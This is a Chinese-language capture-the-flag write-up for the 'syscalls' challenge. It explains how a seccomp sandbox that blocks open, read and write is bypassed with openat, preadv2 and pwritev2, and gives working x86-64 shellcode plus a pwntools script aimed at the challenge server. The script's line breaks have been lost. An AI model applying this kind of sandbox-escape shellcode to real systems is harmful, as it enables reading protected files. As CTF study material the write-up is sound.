syscalls
题目分析
main函数也很简单,根据提示认为是通过orw打开./txt文件
看看沙盒
攻击思路
在沙盒中 orw被禁用,在syscall.sh找到可替代orw的函数.即openat,preadv2,pwritev2.
openat用法
openat(int dirfd, const char *pathname, int flags);
openat(int dirfd, const char *pathname, int flags, mode_t mode);
dirfd:当前工作目录; pathname:文件名; flags:控制打开方式 可选标志 mode:权限 在flags包含O_CREAT时有效.
preadv2 pwritev2用法
preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
fd:文件描述符
iov:iovec结构体数组 前八字节是读取的起始地址 后八字节表示读取的长度
struct iovec {
void *iov_base; // 缓冲区起始地址
size_t iov_len; // 缓冲区长度
};
iovcnt:读取的iov数组的元素数量
offset:文件偏移量 控制读写起点
exp
因此,
openat(AT_FDCWD, "./flag.txt", 0);
preadv2(3, {"rsp": 0x50}, 1, 0, 0);
pwritev2(1, {"rsp": 0x50}, 1, -1, 0);
即可实现orw打开flag.txt
openat(AT_FDCWD, "./flag.txt", 0);
mov rax, 257 ; syscall number for openat (257)
mov rdi, -100 ; AT_FDCWD (-100), 表示当前工作目录
mov rsi, 0x7478 ; 字符串 "xt"(小端序)
push rsi ; 压栈 "xt"
mov rsi, 0x742e67616c662f2e ; 字符串 "./flag.t"(小端序)
push rsi ; 压栈 "./flag.t"
mov rsi, rsp ; rsi = 栈顶指针(指向 "./flag.txt")
xor rdx, rdx ; rdx = 0(O_RDONLY 只读模式)
syscall ; 调用 openat
preadv2(3, {"rsp": 0x50}, 1, 0, 0);
mov rdi, rax ; rdi = 文件描述符(fd)
mov rax, 327 ; syscall number for preadv2 (327)
mov r12, rsp ; r12 = 栈指针
add r12, 0x50 ; r12 += 0x50(指向缓冲区)
mov r11, 0x50 ; r11 = 读取长度(0x50 字节)
push r11 ; 压栈 length
push r12 ; 压栈 buffer
mov rsi, rsp ; rsi = 指向 iovec 结构体 {buffer, length}
mov rdx, 1 ; rdx = iovcnt(iovec 数量)
mov r10, -1 ; r10 = offset(-1 表示不偏移)
mov r8, 0 ; r8 = flags(0 表示默认)
syscall ; 调用 preadv2
pwritev2(1, {"rsp": 0x50}, 1, -1, 0);
mov rax, 328 ; syscall number for pwritev2 (328)
mov rdi, 1 ; rdi = 1(stdout)
syscall ; 调用 pwritev2
点点我
from pwn import *exe = ELF("./syscalls")
context.binary = exedef conn():if args.LOCAL:io = process([exe.path])if args.DEBUG:gdb.attach(io)else:io = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)return iodef main():io = conn()# openat(AT_FDCWD, "./flag.txt", 0)# preadv2(3, {"rsp": 0x50}, 1, 0, 0)# pwritev2(1, {"rsp": 0x50}, 1, -1, 0)sh = asm("""mov rax, 257 mov rdi, -100 mov rsi, 0x7478 push rsimov rsi, 0x742e67616c662f2e push rsi mov rsi, rsp xor rdx, rdx syscall mov rdi, rax mov rax, 327 mov r12, rsp add r12, 0x50 mov r11, 0x50 push r11 push r12 mov rsi, rsp mov rdx, 1 mov r10, -1 mov r8, 0 syscall mov rax, 328 mov rdi, 1 syscall """)print(sh)io.sendline(sh)io.interactive()if __name__ == "__main__":main()